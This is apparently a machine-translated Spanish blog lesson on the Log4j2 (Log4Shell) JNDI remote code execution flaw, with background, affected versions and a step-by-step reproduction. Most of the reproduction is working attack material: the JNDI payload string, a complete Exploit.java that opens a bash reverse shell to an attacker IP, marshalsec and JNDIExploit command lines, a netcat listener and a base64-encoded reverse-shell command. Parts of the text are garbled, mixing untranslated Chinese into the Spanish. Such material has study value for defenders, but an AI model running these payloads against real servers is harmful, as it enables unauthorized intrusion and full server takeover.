Lección 4 de aprendizaje en profundidad sobre seguridad de red: vulnerabilidades populares del marco (ejecución remota de código RCE-Log4j2)


1.log4j2

Log4j2 es un marco de registro de Java ampliamente utilizado en el mundo. Al mismo tiempo, esta vulnerabilidad también afecta a muchos componentes comunes de código abierto en la secuencia superior de uso global.


2. Fondo

------ El 24 de noviembre de 2021, el equipo de seguridad de Alibaba Cloud informó a los funcionarios de Apache sobre la vulnerabilidad de ejecución remota de código Apache Log4j2. Debido a la función de análisis recursivo de algunas funciones de Apache Log4j2, los atacantes pueden construir directamente solicitudes maliciosas y desencadenar vulnerabilidades de ejecución remota de código.

------ El 9 de diciembre de 2021, muchas instituciones nacionales detectaron vulnerabilidades de ejecución de código arbitrario en Apache Log4j2 e informaron urgentemente la situación relevante. 由于Apache Log4j存在递归解析功能,未取得身份认证的用户,可以从远程发送数据请求输入数据日志,轻松触发漏洞,最终在目标上执行任意代码. Dado que Apache Log4j involucra múltiples componentes de aplicaciones, el nivel de amenaza de esta vulnerabilidad se ajusta a: crítico.


3. Versiones afectadas

Log4j2.x<=2.14.1


4. Principio de las lagunas

  • La carga útil construida es la siguiente:
    ${jndi:ldap://xxx.xxx.xxx.xxx:1389/Exp}

------ Esta vulnerabilidad se debe a la función de análisis recursivo de algunas funciones de Apache Log4j2. Un atacante no autenticado puede ejecutar código arbitrario en el servidor de destino enviando paquetes de datos maliciosos específicos.

------ Cuando el componente Log4j2 maneja registros de programas 存在JNDI注入缺陷, un atacante no autorizado puede aprovechar esta vulnerabilidad para enviar datos maliciosos cuidadosamente construidos al servidor de destino, desencadenando la falla de análisis en el componente Log4j2 y logrando la ejecución de código arbitrario en el servidor de destino. Obtener permisos en el servidor de destino.


5. ¿Qué son LDAP y JNDI?

------ El nombre completo de LDAP es Protocolo ligero de acceso a directorios. LDAP puede entenderse como una base de datos que simplemente almacena datos.

------ Hay unoLDAPEl 客户端和服务器端lado del servidor se usa para almacenar recursos y el lado del cliente se usa principalmente para consultas y otras operaciones. Todos los servidores son productos de los principales fabricantes, como AD de Microsoft, por supuesto, puede hacerlos usted mismo. El cliente accede al servidor a través del protocolo LDAP.

------ JNDI (JAVA NAMING AND Directory interface, Java Naming and Directory Interface) es la API utilizada para acceder a LDAP en Java. Es una API unificada proporcionada para que los programas Java accedan a servicios de nombres y servicios de directorio.

------ Entonces payload ${jndi:ldap://xxx.xxx.xxx.xxx:1389/Exp}eso es lo anterior 相当于ldap通过jndi来提供服务. xxx.xxx.xxx.xxx es la dirección IP del servidor LDAP. El servidor LDAP abre el puerto 1389 de forma predeterminada. Exp es un nombre de archivo que no existe. Para decirlo sin rodeos, se trata de acceder al servicio del protocolo ldap a través de JNDI en Java.


6. Reproducción manual de vulnerabilidades

1. Utilice DNSlog para probar si existe la vulnerabilidad

Obtenga un nombre de dominio en DNSlog: dfkemb.dnslog.cn
Insertar descripción de la imagen aquí

Construya la carga útil en burp y reenvíe
${jndi:ldap:// dfkemb.dnslog.cn:1389/Exp}
Insertar descripción de la imagen aquí
y agregue el paquete de retorno al eco 400, lo que significa que la carga útil se ha filtrado. En este momento, la carga útil puede codificarse en URL y luego enviarse.

Regrese al DNSlog para verificar,
Insertar descripción de la imagen aquí
esto indica que existe una vulnerabilidad.

2. Cargue el archivo malicioso Exploit.java y compílelo en un archivo de clase.

Utilice javac para la compilación, pero esto requiere la versión de Java. La versión jdk aplicable a la versión de Java: JDK 11.0.1, 8u191, 7u201, 6u211 y anteriores
El siguiente es el contenido de Exploit.java
Insertar descripción de la imagen aquí

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
    
    
	static {
    
    
		try {
    
    
			Runtime rt = Runtime.getRuntime();
			String[] commands = {
    
    "bash", "-c", "bash -i >& /dev/tcp/192.168.188.177/1234 0>&1"};
			Process pc = rt.exec(commands);
			pc.waitFor();
		} catch (Exception e) {
    
    
			// do nothing
        }
    }
}

Compile usando javac: javac Exploit.java
Insertar descripción de la imagen aquí
producirá un archivo Exploit.class después de la compilación

3. Inicie el servicio web

python3 -m http.servidor 80
Insertar descripción de la imagen aquí

4. Habilite el servicio LDAP en el directorio donde se encuentra el archivo malicioso Exploit.class.

Herramienta de explotación: marshalsec-0.0.3-SNAPSHOT-all.jar

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.188.177/#Exploit" 9999

Insertar descripción de la imagen aquí
Este paso equivale a convertir la máquina de ataque en un servidor, permitiendo que el servidor de destino acceda a mi máquina de ataque como cliente.

5. Supervise el puerto en busca de carcasa de rebote.

nc-lvnp 1234
Insertar descripción de la imagen aquí

6. Regrese al front-end y permita que la víctima acceda al puerto ldap.

Insertar descripción de la imagen aquí

Finalmente, regrese a la ventana de escucha y verifique:
Insertar descripción de la imagen aquí
El shell se ha recuperado exitosamente aquí.

7. Resumen de puntos clave

  • Los pasos 2, 3, 4 y 5 anteriores se realizan todos en el lado del atacante, y solo el paso 6 se realiza en el front-end normal.
  • Arriba se abren un total de 3 puertos, a saber, 80, 1234 y 9999. Esto corresponde a: servicio web, shell de rebote receptor y servicio ldap.

7. Recurrencia de herramientas de vulnerabilidad

1. Herramientas utilizadas: JNDIExploit-1.2-SNAPSHOT.jar

Insertar descripción de la imagen aquí
-i是攻击机所在的IP,-l是LDAP服务开启的端口,-p是web服务开启的端口,-u是攻击后payload的使用方式。

POC:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -l 1389 -p 8888 -i 192.168.188.177
Insertar descripción de la imagen aquí

Utilice -u para ver la carga útil utilizada
Insertar descripción de la imagen aquí

Seleccione una carga útil para enviar la solicitud en el front-end.
Aquí elegí ldap://null:1389/Basic/Command/[cmd].
Insertar descripción de la imagen aquí

2, herramientas utilizadas: JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

POC:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xNzcvMjg4OCAwPiYx}|{base64,-d}|{bash,-i}” -A “192.168.188.177”

Entre ellos: YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xNzcvMjg4OCAwPiYxes bash -i >& /dev/tcp/192.168.188.177/2888 0>&1el comando de shell de rebote.codificación base64

La POC anterior es para permitir que la víctima acceda a 192.168.188.177:1389, el ataque finalice con el servicio LDAP habilitado y luego rebote el shell a la dirección y puerto 192.168.188.177:2888.

Como se muestra a continuación,
Insertar descripción de la imagen aquí
el POC al que la víctima desea acceder es: ldap://192.168.101.130:1389/ayox8z


8. Resumen

------ La vulnerabilidad de Log4j2 es generalmente la siguiente: porque Log4j2 admite el análisis del protocolo ldap/rmi de forma predeterminada (siempre que el registro impreso incluya el protocolo ldap/rmi) y obtendrá los datos correspondientes del servidor ldap. por nombre.Archivo de clase y use ClassLoader para cargar localmente la clase Class devuelta por el servidor Ldap.

------ La vulnerabilidad de ejecución remota de código de Apache Log4j se debe a la vulnerabilidad de inyección Java JNDI en el componente: cuando el programa registra los datos ingresados ​​por el usuario en el registro, el atacante activa el código remoto en Apache Log4j2 mediante la construcción una solicitud especial Vulnerabilidad de ejecución, que puede explotarse para ejecutar código arbitrario en el servidor de destino.

------ Después de usar jndi para acceder al servicio ldap, el servicio ldap devolvió el código de ataque de clase y el servidor atacado ejecutó el código de ataque. La vulnerabilidad de ejecución remota de código utiliza Log4j2 para analizar y ejecutar "${}" en el registro para llevar a cabo el ataque.

------ En pocas palabras, la interfaz jndi existe en Java para acceder al servicio ldap, porque Log4j2 admite el análisis del protocolo ldap / rmi de forma predeterminada. Cuando un servidor normal accede al servicio ldap, analizará directamente la clase archivo en el servicio sin filtrar. El atacante se aprovecha de esto y escribe código malicioso en el archivo de clase. Cuando el servidor normal accede al servicio ldap, el archivo de clase que contiene el código malicioso será analizado y ejecutado, por lo que será atacado.


Supongo que te gusta

Origin blog.csdn.net/p36273/article/details/132921338
Recomendado
Clasificación